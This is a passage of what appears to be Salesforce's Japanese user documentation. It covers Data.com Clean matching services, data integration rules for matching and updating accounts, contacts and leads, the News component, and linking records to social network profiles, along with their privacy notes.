Edition

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Prospector または Data.com Clean を使用すると、取引先レコードをクリー
ンアップするために組織で使用するマッチングサービスを選択できます。サー
ビスを選択する前に、各サービス、そのクリーンアップ動作、および関連する
考慮事項を理解することが重要です。

メモ: この情報は、Data.com Clean に適用され、データインテグレーション
には適用されません。

次のマッチングサービスを使用できます。
Data.com マッチング

Data.com独自のマッチング技術であり、[取引先名]、[住所(請求先)]、[Web

サイト]、および [電話] 項目が照合されます。
有効な [D-U-N-S 番号]がある取引先をクリーンアップする場合は、DUNSRight

マッチングサービスが選択されていても、常に Data.comマッチングサービス
が使用されます。

D&B DUNSRight™ マッチング
D&B 独自のデータ品質技術であり、厳密なプロセスを使用してデータが正規
化され、取引先レコードが D&B 企業レコードと照合されます。このプロセス
では、D&B の信頼性コードも使用されます。信頼性コードは、レコードとの
類似性に基づいて、Data.com の一致候補を 1 (類似していない) から 10 (同一ま
たは酷似) にランク付けします。D&B には、個々の項目について文字でコード
化された Match Grade もあります。D&B DUNSRight マッチングのしくみについて
は、「D&B Entity Matching」を参照してください。

DUNSRight™ マッチングData.com マッチング属性

デフォルトのマッチングサービス

D&B の信頼性コードを含む

幅広い国際マッチングをサポート1

英語圏以外の国をサポート

[D-U-N-S 番号]のデフォルトの対応付けが
必要

1D&B DUNSRight マッチングでは、Data.com マッチングより 200 か国多いレコードを照合できます。DUNSRight マッ
チングでは、次の国または地域はサポートしていません。アドミラルティー諸島、オーランド諸島、南極、ア
センション島、ボネール島、ブーヴェ島、英領インド洋領土、カロリン諸島、ココス (キーリング) 諸島、キュー
バ、キュラソー島、インド洋南部フランス領地域、ガーンジー島、ハード島およびマクドナルド諸島、マン
島、ジャージー島、朝鮮民主主義人民共和国、マイヨット、ミクロネシア、ミクロネシア連邦、ミッドウェー
諸島、モンゴル、ニウエ、パラオ、直轄領パレスチナ、ピトケアン、セント・バーツ島、シントユースタティ
ウス島およびサバ島、サン・マルタン (フランス領)、シントマールテン (オランダ領)、サウスジョージア、サ
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ウスサンドイッチ諸島、スヴァールバルおよびヤンマイエン、ティモール・レスチ、トルコ領キプロス、米領
特定範囲外の諸島、ウェーク島、ワリー・エ・フトゥーナ諸島、西サハラ。

関連トピック:

Data.com Clean がレコードを照合する方法は?

Data.com Clean の設定
Data.com クリーンアップジョブのスケジュールに関する考慮事項
Data.com クリーンアップジョブ設定に関するガイドライン
Data.com クリーンアップジョブの設定
Data.com Clean の設定の定義および取引先マッチングサービスの選択

データインテグレーション

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

取引先の会社情報とリー
ドの会社情報のルールを
使用するには、Data.com
Premium Clean ライセンス
が必要です。

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

データインテグレーションでは、Dun & Bradstreet、Data.com、およびサードパー
ティデータパッケージからのデータを使用して、組織を最新の状態に保ちます。
データインテグレーションルールを有効にすると、データインテグレーション
によって、ルールのデータサービスからのデータを使用して、レコードの一括
更新が行われます。データインテグレーションルールが有効になると、レコー
ドを追加または変更した後に必要に応じてそのレコードが更新されます。

メモ: この情報は、データインテグレーションに適用され、Data.com Clean

には適用されません。
データインテグレーションでは、データサービスのデータを使用して取引先、
取引先責任者、リードレコードを更新します。使用できるデータサービスは、
Dun & Bradstreet、Data.com、およびサードパーティのデータサービスです。更新は
データインテグレーションルールによって制御されます。ルールを有効にする
と、レコードを追加または編集するたびに、データインテグレーションによっ
て自動的に更新が行われます。この更新のためのデータはルールのデータサー
ビスによって提供されます。データインテグレーションでルールを初めて有効
にすると、ルールのデータサービス内のデータからのすべてのレコードが一括
更新されます。
データインテグレーションルールは、データサービスのデータをレコードに照合する方法を制御します。ま
た、データサービスデータを使用してレコードを更新する方法も制御します。ルールはいつでも有効または無
効にすることができます。
データインテグレーションおよびルールのオプションは [設定] で設定します。これらのオプションでは、デー
タインテグレーションで一括更新を行うかどうか、データインテグレーションルールがトリガおよびワークフ
ロールールに影響を及ぼす方法などを制御します。

Salesforce Classic でのデータインテグレーションを使用した取引先の更新
データインテグレーションルールを使用して、手動で取引先を更新します。ルールのデータサービスは、
ルールの更新項目の対応付けに基づいて取引先を更新します。
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データインテグレーションルールの有効化
取引先、取引先責任者、またはリードに対してデータインテグレーションを有効にするには、データイン
テグレーションルールを有効にします。ルールを有効にすると、Data.com によってオブジェクト内のすべ
てのレコードが更新されます。その後、レコードを追加または変更したときに、レコードが継続的に更新
されます。
データインテグレーションルールがレコードを照合する方法は?

データインテグレーションを使用して取引先、取引先責任者、リードデータのクリーンアップを行う場合、
データインテグレーションルールによって、レコードが Data.com レコードと比較されます。この比較は、
ルールの照合項目の対応付けに基づいて行われます。
データインテグレーションルールがレコードを更新する方法は?

データインテグレーションを使用して取引先、取引先責任者、またはリードデータを更新すると、データ
インテグレーションルールによって、ルールのデータサービスからのデータを使用してレコードが更新さ
れます。更新は、ルールの更新の対応付けに基づいて行われます。

関連トピック:

データインテグレーションルールがレコードを照合する方法は?

データインテグレーションルールがレコードを更新する方法は?

Salesforce Classic でのデータインテグレーションを使用した取引先の更新
取引先、取引先責任者、リードのデータインテグレーション情報に関するカスタムレポートタイプの作成

Salesforce Classic でのデータインテグレーションを使用した取引先の更新

エディション

使用可能なエディション:
Salesforce Classic

Data.com Clean ライセン
スがある場合に使用可能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

取引先レコードをクリー
ンアップする
• 取引先に対する「編

集」

データインテグレーションルールを使用して、手動で取引先を更新します。ルー
ルのデータサービスは、ルールの更新項目の対応付けに基づいて取引先を更新
します。

メモ: この情報は、データインテグレーションに適用され、Data.com Clean

には適用されません。
データインテグレーションルールは、ルールの更新項目の対応付けに基づいて
取引先を自動的に更新します。通常、これらの更新は、取引先を追加または変
更したときに行われます (永続的な更新)。また、ルールの設定を保存したとき、
またはルールを有効にしたときに、すべての取引先を更新するようにルールを
設定することもできます(一括更新)。一部のデータインテグレーションルールに
は、取引先を定期的に更新する定期データ更新機能もあります。
データインテグレーションルールを使用して手動で取引先を更新することもで
きます。永続的更新が無効になっている場合や、データインテグレーションルー
ルで定期データ更新が実行されない場合は、手動で更新を行います。
1. 取引先を開き、[データインテグレーションルール]関連リストに移動します。
2. 取引先を更新するために使用するデータインテグレーションルールを選択

し、[更新] をクリックします。
ルール状況が [同期済み] であっても取引先を更新できます。
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取引先が更新されたことを示すダイアログが表示されます。[OK] をクリックしてダイアログを閉じます。
ルール状況が [同期済み] になります。

データインテグレーションルールの有効化

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

取引先の会社情報とリー
ドの会社情報のルールを
使用するには、Data.com
Premium Clean ライセンス
が必要です。

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

データインテグレーショ
ンを有効または無効にす
る
• 「アプリケーションの

カスタマイズ」

取引先、取引先責任者、またはリードに対してデータインテグレーションを有
効にするには、データインテグレーションルールを有効にします。ルールを有
効にすると、Data.comによってオブジェクト内のすべてのレコードが更新されま
す。その後、レコードを追加または変更したときに、レコードが継続的に更新
されます。

メモ: この情報は、データインテグレーションに適用され、Data.com Clean

には適用されません。
使用するデータインテグレーションルールを有効にすることによって、取引先、
取引先責任者、またはリードに対してデータインテグレーションを有効にしま
す。
1. [設定] から、[クイック検索]ボックスに「データインテグレーションルール」

と入力します。
2. [ビュー] ドロップダウンから、[すべてのデータインテグレーションルール]

を選択します。
3. [現在の状況] 列を確認します。ルールの状況に「有効」という言葉が含まれ

ている場合は、完了です。他のデータインテグレーションを有効にできま
す。
a. ルールの状況が無効である場合、ルールの名前をクリックします。
b. ルールの詳細ページで、[有効化]をクリックしてルールを有効にします。
c. 表示されたダイアログで、[OK] をクリックしてルールを有効にします。
d. データインテグレーションルールのリストに戻るには、[リストに戻る:

データインテグレーションルール] をクリックします。

データインテグレーションルールが有効になり、このルールに対してデータインテグレーションが有効になり
ました。
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データインテグレーションルールがレコードを照合する方法は?

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

取引先の会社情報とリー
ドの会社情報のルールを
使用するには、Data.com
Premium Clean ライセンス
が必要です。

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

データインテグレーションを使用して取引先、取引先責任者、リードデータの
クリーンアップを行う場合、データインテグレーションルールによって、レコー
ドが Data.com レコードと比較されます。この比較は、ルールの照合項目の対応
付けに基づいて行われます。

メモ: この情報は、データインテグレーションに適用され、Data.com Clean

には適用されません。
有効なデータインテグレーションルールのそれぞれについて、データインテグ
レーションでは、レコードをData.comレコードと比較して照合します。照合は、
ルールの照合項目の対応付けに基づいて行われます。各ルールには、個別にデ
フォルトの照合の対応付けがあります。さらに、設定に基づいて、ルールが最
初に有効になったとき、またはルールの照合の対応付けが変更されたときに
Data.com によってレコードが更新されます。
データインテグレーションの照合には、次の機能と制限事項があります。
取引先

• 「取引先の会社情報」ルールには、Premium Clean ライセンスが必要です。
• 「取引先の地理コード」ルールには、Data.com Clean ライセンスは必要ありません。
• Data.com 照合サービスのみを使用できます。
• Dun & Bradstreet のすべての国がサポートされています。

取引先責任者
「取引先責任者住所 (郵送先) の地理コード」ルールには、Data.com Clean ライセンスは必要ありません。

リード
• 「リードの会社情報」ルールには、Data.com Premium Clean ライセンスが必要です。
• 「リード住所の地理コード」ルールには、Data.com Clean ライセンスは必要ありません。
• リードは、Dun & Bradstreet の会社 (国内またはグローバル代表企業) に照合されます。

照合の対応付けは、部分的にカスタマイズ可能です。データサービスでは、レコードの照合に使用する固定の
項目セットが提供されます。データサービス項目を変更することはできませんが、レコード内のどの項目と照
合するかは選択でき、カスタム項目も使用できます。

例: ルールの照合の対応付けは、データインテグレーションルールの [項目の対応付けの編集] ページに表
示されます。最初の行はルールの名前です (1)。データサービスは、[データサービス項目] リスト (2) の各
項目をオブジェクト項目リスト (3) の対応する項目と比較します。
たとえば、この照合の対応付けは取引先の会社情報のものです。Data.comデータサービス項目 [市区町村]

(2) の内容が取引先項目 [市区郡(請求先)]  (3) の内容と照合されます。この対応付けを変更して、[市区町
村] を [市区郡(納入先)] に照合することもできます。
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関連トピック:

データインテグレーションルールと Data.com Clean に影響を受ける項目

データインテグレーションルールがレコードを更新する方法は?

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

取引先の会社情報とリー
ドの会社情報のルールを
使用するには、Data.com
Premium Clean ライセンス
が必要です。

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

データインテグレーションを使用して取引先、取引先責任者、またはリードデー
タを更新すると、データインテグレーションルールによって、ルールのデータ
サービスからのデータを使用してレコードが更新されます。更新は、ルールの
更新の対応付けに基づいて行われます。

メモ: この情報は、データインテグレーションに適用され、Data.com Clean

には適用されません。
データインテグレーションルールは、組織にデータを提供するデータサービス
の一部です。ルールは、特定の Salesforce オブジェクト種別を更新します。ルー
ルに基づいて、データインテグレーションでは、データサービスのデータでレ
コードが更新されます。更新は、ルールの更新項目の対応付けに基づいて行わ
れます。各ルールには、個別にデフォルトの更新の対応付けがあります。
レコードの追加または変更を行うと、データインテグレーションによって更新
が行われます (永続的な更新)。また、ルールの設定を保存したとき、またはルー
ルを有効にしたときに、すべてのレコードを更新するようにルールを設定する
こともできます(一括更新)。一部のデータインテグレーションルールには、取引
先を定期的に更新する定期データ更新機能もあります。
データインテグレーションの更新には、次の機能と考慮事項があります。
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一般的な考慮事項
• レコードが追加または更新されたときには、データインテグレーションでは空白の項目のみが更新され

ます。
• 定期データ更新を使用できる場合、データインテグレーションでは、レコードがデータサービスと同期

がとれていないことが検出されます。レコードの詳細ページで同期状況を確認でき、必要に応じてレ
コードを更新できます。

• データインテグレーションでは、データサービス項目の項目種別がレコードの項目と互換性がある場合
のみ項目が更新されます。

• データインテグレーションでは、データサービス項目のスケールと精度がレコードの項目と互換性があ
る場合のみ項目が更新されます。

取引先
• 「取引先の会社情報」ルールには、Data.com Premium Clean ライセンスが必要です。
• 「取引先の地理コード」ルールには、Data.com Clean ライセンスは必要ありません。
• Dun & Bradstreet のすべての国がサポートされています。

取引先責任者
「取引先責任者住所 (郵送先) の地理コード」ルールには、Data.com Clean ライセンスは必要ありません。

リード
• 「リードの会社情報」ルールには、Data.com Premium Clean ライセンスが必要です。
• 「リード住所の地理コード」ルールには、Data.com Clean ライセンスは必要ありません。

更新の対応付けは、部分的にカスタマイズ可能です。ルールには、データサービスから提供されるすべての項
目がふくまれ、それらの項目を変更することはできません。レコード内のどの項目と照合するかは選択でき、
カスタム項目も使用できます。

例:

ルールの更新の対応付けは、データインテグレーションルールの項目の対応付けを編集するときに表示
されます。
[更新] タブ (1) には、データサービスから使用できるデータが表示されます。データを取引先にコピーす
るには、データサービスの各ソース項目に対応する取引先の対象項目を選択します。
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この例では、データサービスによって [市区郡] 項目 (2) のデータが提供されています。更新時にデータサー
ビスによって [市区郡] の値が、一致する取引先の [市区郡(請求先)] 項目にコピーされます。
• データサービスの更新リストには、そのオブジェクト種別に対してサービスで提供されるすべての項

目があります。データサービスに異なるオブジェクト種別のデータがある場合、更新リストはオブ
ジェクトごとに異なる可能性があります。

• 同じオブジェクトでも、データサービスの照合リストは、データサービスの更新リストと異なる場合
があります。

関連トピック:

データインテグレーションルールと Data.com Clean に影響を受ける項目

ソーシャルネットワークとニュースの最新情報の入手

ニュースコンポーネント

エディション

使用可能なエディション:
Lightning Experience と
Salesforce1 の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

顧客やパートナー、競合会社に関連するタイムリーなニュースにすばやくアク
セスできます。ニュースコンポーネントは記事や Twitter 投稿などを示すもので、
取引先、取引先責任者、リード、商談、およびホームページで使用できます。
ニュースコンポーネントは、各自が対応する会社、人々、業種の最新情報を把
握しておくうえで役立つ関連性の高いタイムリーなニュース項目を示します。
ニュースは米国のニュースソースから英語で提供されます。

表示場所に基づくニュース
• 取引先レコードには、取引先、そのエグゼクティブおよび業種に基づいて

ニュース項目が表示されます。
• 取引先責任者、リード、商談レコードには、レコードの関連取引先、その取

引先のエグゼクティブおよび業種に基づいてニュース項目が表示されます。
• ホームページおよびニュースアプリケーションには、最近参照したレコード、およびそれらのレコードの

ToDo や行動に基づいてニュース項目が表示されます。
• Salesforce1 では、ユーザのモバイルカレンダーの今後の行動への出席者に関連付けられた取引先に基づく

ニュースも表示されます。

ニュースのカテゴリ

該当するニュースカテゴリ

レコードの取引先に基づく内容取引先ニュース

取引先かレコードの関連取引先のいずれかにリストさ
れている業界に関する内容

業界ニュース
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該当するニュースカテゴリ

取引先かレコードの関連取引先のいずれかでエグゼク
ティブロールを保持する個人に関する内容エグゼク

エグゼクティブニュース

ティブがSalesforce内の取引先責任者でなくても、その
人物に関するニュースを表示できます。

Salesforce の他のユーザが閲覧している内容当社のトレンド

レコードの取引先や業界、エグゼクティブに直接関連
しない内容

一般的なビジネスニュース

Chatter でニュースを共有
興味深いニュース記事を見つけたら、Chatter で簡単に共有できます。レコードの詳細ページから記事を共有す
ると、そのレコードの Chatter フィードに投稿されます。[ホーム] またはニュースアプリケーションから記事を
共有すると、自身の Chatter プロファイルに投稿され、自身をフォローしている全員が閲覧できます。

ニュースの品質およびフィードバック
• Salesforce では、すべてのニュースの関連性を確認する処理を行い、スパムや不適切な内容を除外していま

す。
• 適切性や正確性に欠くニュース項目を見つけたら、フィードバックオプションを使用してフラグを設定し

ます。

プライバシーおよびセキュリティ
• これを有効にすると、一部の組織のデータがサードパーティサービスとその他のSalesforceテクノロジによっ

て保存、処理される可能性があり、これらのプライバシーとセキュリティの保護が Salesforce サービスとは
異なることがあります。Salesforce では、クエリしている取引先の名前や Web サイトなどのデータを共有ま
たは転送するときには、名前と組織名を除外するよう努めています。Salesforce は、この機能の使用時にサー
ドパーティと共有されるデータのプライバシーとセキュリティについて責任を負いません。

• ほとんどの取引先の場合、ニュースプロバイダの RSS フィードや Twitter コンテンツからニュースを収集す
る Salesforce 独自のニュース処理プラットフォームからニュースを提供しています。一致する記事がデータ
ベースで見つからない場合は、Salesforce に登録した取引先名を使用して、取引先固有のニュースをサード
パーティのプロバイダから検索できます。いずれの場合も、Salesforce は、サードパーティから提供される
ニュースの内容に対して責任を負わないものとします。Salesforce で実行されるクエリは、セキュリティ保
護されたプロトコルを使用して行われ、個々の Salesforce ユーザにリンクされることはありません。

関連トピック:

取引先設定
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ソーシャル取引先、取引先責任者、およびリード

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

法人取引先を使用可能な
エディション:
Database.com Edition 以外
のすべてのエディション

個人取引先を使用可能な
エディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

取引先責任者を使用可能
なエディション:
Database.com Edition を除
くすべてのエディション

リードを使用可能なエ
ディション: Group
Edition、Professional
Edition、Enterprise
Edition、Unlimited Edition、
および Developer Edition

ユーザによるソーシャルインテリジェンスへのアクセスを増やし、現在の顧客
と潜在顧客が Salesforce 内でソーシャルネットワークに簡単にアクセスできるよ
うにすることでサービスを向上させます。

デモを見る (3 分 29 秒)

取引先、取引先責任者、またはリードをソーシャルネットワークプロファイル
にリンクしたら、組織の全員が他のサイトにログインせずに現在のソーシャル
データにアクセスできるようになります。

Data.com Social

Key で更新可
能なオブジェ
クト

Lightning

Experienceおよ
び Salesforce1

でサポートさ
れるオブジェ
クト

Salesforce

Classic でサ
ポートされる
オブジェクト

Salesforce に表
示される内容

ソーシャル
ネットワーク

取引先責任者
リード

取引先
取引先責任者
リード

取引先
取引先責任者
リード

Twitter は、既
存および潜在
的な顧客の社
会的な人格を
観察し、本音
を把握するの
に非常に役立
ちます。経
歴、最新のツ
イート、およ
び顧客がフォ

Twitter

ローしている
人とその顧客
をフォローし
ている取引
先、取引先責
任者、および
リードを参照
できます。

取引先責任者
リード

取引先
取引先責任者
リード

Facebook を使
用すると、既
存および潜在
的な顧客のよ
り詳細な個人

Facebook

的見解を得る
ことができる
ため、共通の
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関心事を見つけるの
に役立ちます。取引
先責任者、リード、
および個人取引先で
は、プロファイル、
状況の更新、および
共有する共通の友達
の数を参照できま
す。法人取引先で
は、会社のプロファ
イルやウォールの投
稿を含む、顧客の会
社ソーシャルメディ
アの存在を参照でき
ます。

取引先
取引先責任者

Klout は、Twitter、
Facebook、および
LinkedIn を含むソー

Klout

リードシャルネットワーク
でのその人の影響度
を解析するサード
パーティサービスで
す。Klout を使用し
て、取引先、取引先
責任者、およびリー
ドのソーシャルメ
ディアへの影響、そ
のユーザが影響を与
える人、そのユーザ
に影響を与える人、
およびそのユーザの
話題を参照できま
す。

取引先
取引先責任者

YouTube は、取引
先、取引先責任者、
およびリードに関連

YouTube 動画

リードする動画を検索して
参照するのに役立ち
ます。

組織のユーザがソーシャルネットワークプロファイルを取引先、取引先責任者、またはリードに関連付ける
と、Salesforce には常にその最新情報が表示されます。Salesforce の各ユーザが表示できる詳細は、ソーシャル
ネットワーク上でのユーザと取引先、取引先責任者、またはリードとの接続と、プロファイルのプライバシー
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設定に応じて異なります。Salesforceを介してソーシャルネットワークにサインインしていない場合、ソーシャ
ルネットワークユーザが公開した情報のみが表示されます。

重要: [ソーシャル取引先、取引先責任者、およびリード] 機能は、Facebook、Klout、Twitter、YouTube の公開
API を使用して、Salesforce にソーシャル情報を表示します。これらのソーシャルネットワークには、いつ
でもそれらの API へのアクセスを変更または終了する選択権があるため、salesforce.com は、現在提供され
ているデータまたは特定のソーシャルネットワーク全体へのアクセスを含め、この機能が将来において
も利用できることを保証できません。Winter '16 リリース以降、この機能を介して LinkedIn を使用すること
はできなくなります。

Salesforce1 または Salesforce フルサイトでの使用開始
使用を開始するには、取引先、取引先責任者、またはリードの詳細ページに移動し、ソーシャルネットワーク
アカウントにサインインするだけです。サインインすると、Salesforceとソーシャルネットワークアカウント間
の非公開接続が作成され、Salesforce で外部ソーシャルプロファイルを参照できます。

関連トピック:

[ソーシャル取引先、取引先責任者、およびリード] の有効化
[ソーシャル取引先、取引先責任者、およびリード] の設定

1526

ソーシャルネットワークとニュースの最新情報の入手顧客への営業



[ソーシャル取引先、取引先責任者、およびリード] 使用時のセキュリティとプライバシー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

法人取引先を使用可能な
エディション:
Database.com Edition 以外
のすべてのエディション

個人取引先を使用可能な
エディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

取引先責任者を使用可能
なエディション:
Database.com Edition を除
くすべてのエディション

リードを使用可能なエ
ディション: Group
Edition、Professional
Edition、Enterprise
Edition、Unlimited Edition、
および Developer Edition

[ソーシャル取引先、取引先責任者、およびリード] 機能は、ユーザとそのデータ
のセキュリティとプライバシーを提供するために開発されました。
• Salesforceでは、Facebook、Twitter、または Klout アカウントへのサインイン時に

信頼済み OAuth プロトコルを使用します。ログイン情報が Salesforce に公開さ
れることはなく、パスワードは保存されません。

• Salesforce がソーシャル情報をインポートしたり、保存したりすることはあり
ません。ソーシャルプロファイルまたは YouTube 動画を選択するたびに、
Salesforce では表示する情報をソーシャルネットワークから直接取得します。
取引先、取引先責任者、およびリードについて常に最新の情報が表示されま
す。

• Salesforce レコードをソーシャルネットワークアカウントに関連付けても、
ソーシャルネットワーク上で活動は発生しません。たとえば、取引先責任者
を Twitter アカウントに関連付けても、操作を行ったユーザがその Twitter アカ
ウントのフォロワーになることはありません。

• Salesforce がユーザまたはその活動に関してソーシャルネットワークアカウン
トに投稿することはありません。

• Salesforce を使用してソーシャルネットワークプロファイルを参照した場合、
取引先、取引先責任者、およびリードには通知されません。さらに、ソー
シャルビューアを使用している限り、Salesforce を介したソーシャルネット
ワークとのやりとりは参照のみです。

メモ: リンクをクリックして新しい Web ブラウザタブを開いたときな
ど、ソーシャルビューアを離れると、Salesforce から離れてソーシャル
ネットワークを直接操作することになります。Salesforce の [ソーシャル
取引先、取引先責任者、およびリード] ビューア以外で実行したアクショ
ンは、ソーシャルネットワークに記録される可能性があります。

• Facebook または Twitter プロファイルがどう表示されるかは各ユーザに固有であり、各ソーシャルネットワー
ク上でのそれぞれの取引先、取引先責任者、またはリードとの接続方法と、取引先、取引先責任者、また
はリードが現在使用しているプライバシー設定に応じて異なります。他のSalesforceユーザはそれぞれのソー
シャルネットワークアカウントにサインインする必要があり、各自の接続レベルに基づいて許可された内
容のみが表示されます。たとえば、Twitter プロファイルがリードの Twitter プロファイルに接続されている
ユーザには、そのリードの他の接続が表示されますが、組織内の Twitter プロファイルがリードに直接接続
されていない別のユーザには表示されません。

関連トピック:

ソーシャル取引先、取引先責任者、およびリード
[ソーシャル取引先、取引先責任者、およびリード] の有効化
[ソーシャル取引先、取引先責任者、およびリード] の設定

1527

ソーシャルネットワークとニュースの最新情報の入手顧客への営業



[ソーシャル取引先、取引先責任者、およびリード] の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

法人取引先を使用可能な
エディション:
Database.com Edition 以外
のすべてのエディション

個人取引先を使用可能な
エディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

取引先責任者を使用可能
なエディション:
Database.com Edition を除
くすべてのエディション

リードを使用可能なエ
ディション: Group
Edition、Professional
Edition、Enterprise
Edition、Unlimited Edition、
および Developer Edition

[ソーシャル取引先、取引先責任者、およびリード] 機能を無効化したり、ソー
シャルネットワークをオンまたはオフにしたりできます。
ログインに対して [ソーシャル取引先、取引先責任者、およびリード] 機能を無
効化すると、その取引先、取引先責任者、またはリードのソーシャルネットワー
クが表示されなくなります。または、個別のソーシャルネットワークへのアク
セスをオフにすると、そのソーシャルネットワークのデータを参照またはアク
セスできなくなります。

メモ: Salesforce Lightning Experience および Salesforce1 モバイルアプリケーショ
ンでは、他のネットワークが有効になっていても、ユーザは Twitter にしか
アクセスできません。

1. 個人設定から、[クイック検索] ボックスに「ソーシャル」と入力し、[私の
ソーシャル取引先と取引先責任者の設定]、[私のソーシャル取引先と取引先
責任者]、または [設定] (表示された方) を選択します。

2. 希望どおりに機能するように、[ソーシャル取引先と取引先責任者] を設定し
ます。

3. [保存] をクリックします。

関連トピック:

ソーシャル取引先、取引先責任者、およびリードのトラブルシューティング
ソーシャル取引先、取引先責任者、およびリード
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ソーシャルネットワークプロファイルの表示とリンク

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

法人取引先を使用可能な
エディション:
Database.com Edition 以外
のすべてのエディション

個人取引先を使用可能な
エディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

取引先責任者を使用可能
なエディション:
Database.com Edition を除
くすべてのエディション

リードを使用可能なエ
ディション: Group
Edition、Professional
Edition、Enterprise
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

ソーシャルネットワーク
プロファイルを特定のオ
ブジェクトに関連付ける
• オブジェクトに対する

「編集」

特定のオブジェクトに関
連付けられているソー
シャルネットワークプロ
ファイルを表示する
• オブジェクトに対する

「参照」。個人取引先
では、取引先と取引先
責任者の両方で「参
照」が必要です。

それぞれのソーシャルネットワークプロファイルおよび活動から収集した取引
先、取引先責任者、およびリードに関する最新情報を表示するには、各レコー
ドを Twitter および FaceBook のソーシャルネットワークプロファイルに関連付け
ます。
取引先、取引先責任者、またはリードをソーシャルネットワークプロファイル
にリンクしたら、プロファイルの詳細とソーシャルネットワーク上でのプロファ
イルの最新の活動を取引先、取引先責任者、またはリードの詳細ページに表示
できます。

メモ: 表示できる各ソーシャルネットワークプロファイルの情報と活動は、
そのプロファイルのプライバシー設定、友人または接続ごとの権限セット、
ソーシャルネットワークの利用規約に応じて異なります。セキュリティと
プライバシーについての詳細は、「[ソーシャル取引先、取引先責任者、お
よびリード] 使用時のセキュリティとプライバシー」を参照してください。

Salesforce Classic では、取引先、取引先責任者、およびリードを Twitter または
Facebook プロファイルにリンクできます。Lightning Experience または Salesforce1 で
は、Twitter プロファイルのみを表示およびリンクできます。

デモを見る (3 分 29 秒)

1. 取引先、取引先責任者、またはリードの詳細ページから、ソーシャルネット
ワークにサインインします。

2. ソーシャルネットワークプロファイルがまだレコードにリンクされていない
場合、Salesforce ではレコード名に一致するプロファイルを自動的に検索しま
す。プロファイルを選択してレコードにリンクするか、一致するプロファイ
ルがない場合は別の検索パラメータを使用して再度検索します。

3. ソーシャルネットワークと共有しているソーシャル情報を表示します。

関連トピック:

取引先、取引先責任者、およびリードのプロファイル画像の選択と変更
ソーシャル取引先、取引先責任者、およびリードのトラブルシューティング
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取引先、取引先責任者、およびリードのプロファイル画像の選択と変更

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

法人取引先を使用可能な
エディション:
Database.com Edition 以外
のすべてのエディション

個人取引先を使用可能な
エディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

取引先責任者を使用可能
なエディション:
Database.com Edition を除
くすべてのエディション

リードを使用可能なエ
ディション: Group
Edition、Professional
Edition、Enterprise
Edition、Unlimited Edition、
および Developer Edition
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ユーザ権限

ソーシャルネットワーク
プロファイルを検索し
て、法人取引先レコード
にリンクする
• 取引先に対する「編

集」

ソーシャルネットワーク
プロファイルを検索し
て、個人取引先レコード
にリンクする
• 取引先に対する「編

集」

および

取引先責任者に対する
「編集」

ソーシャルネットワーク
プロファイルを検索し
て、取引先責任者にリン
クする
• 取引先責任者に対する

「編集」

ソーシャルネットワーク
プロファイルを検索し
て、リードにリンクする
• リードに対する「編

集」

ユーザが取引先、取引先責任者、およびリードのレコードをソーシャルネット
ワークプロファイルに関連付けると、そのレコードには Twitter または Facebook

のプロフィールから画像が表示されます。一部のネットワークでは、ネットワー
クにログインしなくてもプロファイル画像が Salesforce に表示されます。
デフォルトでは、取引先、取引先責任者、またはリードのプロファイル画像は、
そのレコードにリンクされている最初のソーシャルネットワークのプロファイ
ル画像です。組織で取引先ロゴを有効にしている場合、取引先に手動で追加し
たプロファイル画像は、Lightning Experience の最新画像で置き換わることがあり
ます。

メモ:  Facebook のプロフィール画像は、Salesforce Classicでのみ表示されます。
1. 取引先、取引先責任者、またはリードの詳細ページで、任意のソーシャル

ネットワークアイコン ( ) をクリックします。
2. ソーシャルビューアで、使用する画像のあるソーシャルネットワークのタブ

を選択します。
3. [Salesforce で写真を表示] をクリックします。

関連トピック:

ソーシャル取引先、取引先責任者、およびリード
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ソーシャル取引先、取引先責任者、およびリードのトラブルシューティング

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

法人取引先を使用可能な
エディション:
Database.com Edition 以外
のすべてのエディション

個人取引先を使用可能な
エディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

取引先責任者を使用可能
なエディション:
Database.com Edition を除
くすべてのエディション

リードを使用可能なエ
ディション: Group
Edition、Professional
Edition、Enterprise
Edition、Unlimited Edition、
および Developer Edition

ユーザによるソーシャルインテリジェンスへのアクセスを増やし、現在の顧客
と潜在顧客が Salesforce 内でソーシャルネットワークに簡単にアクセスできるよ
うにすることでサービスを向上させます。

メモ:  Salesforce 製品ごとに使用可能なソーシャルネットワークが異なりま
す。「ソーシャル取引先、取引先責任者、およびリード」 (ページ1524)を参
照して、アクセスしようとしているネットワークが、使用している製品で
利用できることを確認してください。

Salesforce Classic

1. 取引先、取引先責任者、およびリードの詳細ページのヘッダーにあるソー
シャルネットワークアイコンをクリックして、ソーシャルビューアを表示し
ます。

2. アイコンが表示されない場合は、組織の [ソーシャル取引先、取引先責任者、
およびリード] 機能が無効になっている可能性があります。機能の有効化を
システム管理者に依頼してください。

3. ソーシャルネットワークアイコンが表示されない場合は、ソーシャルネット
ワークがオフになっている可能性があります。
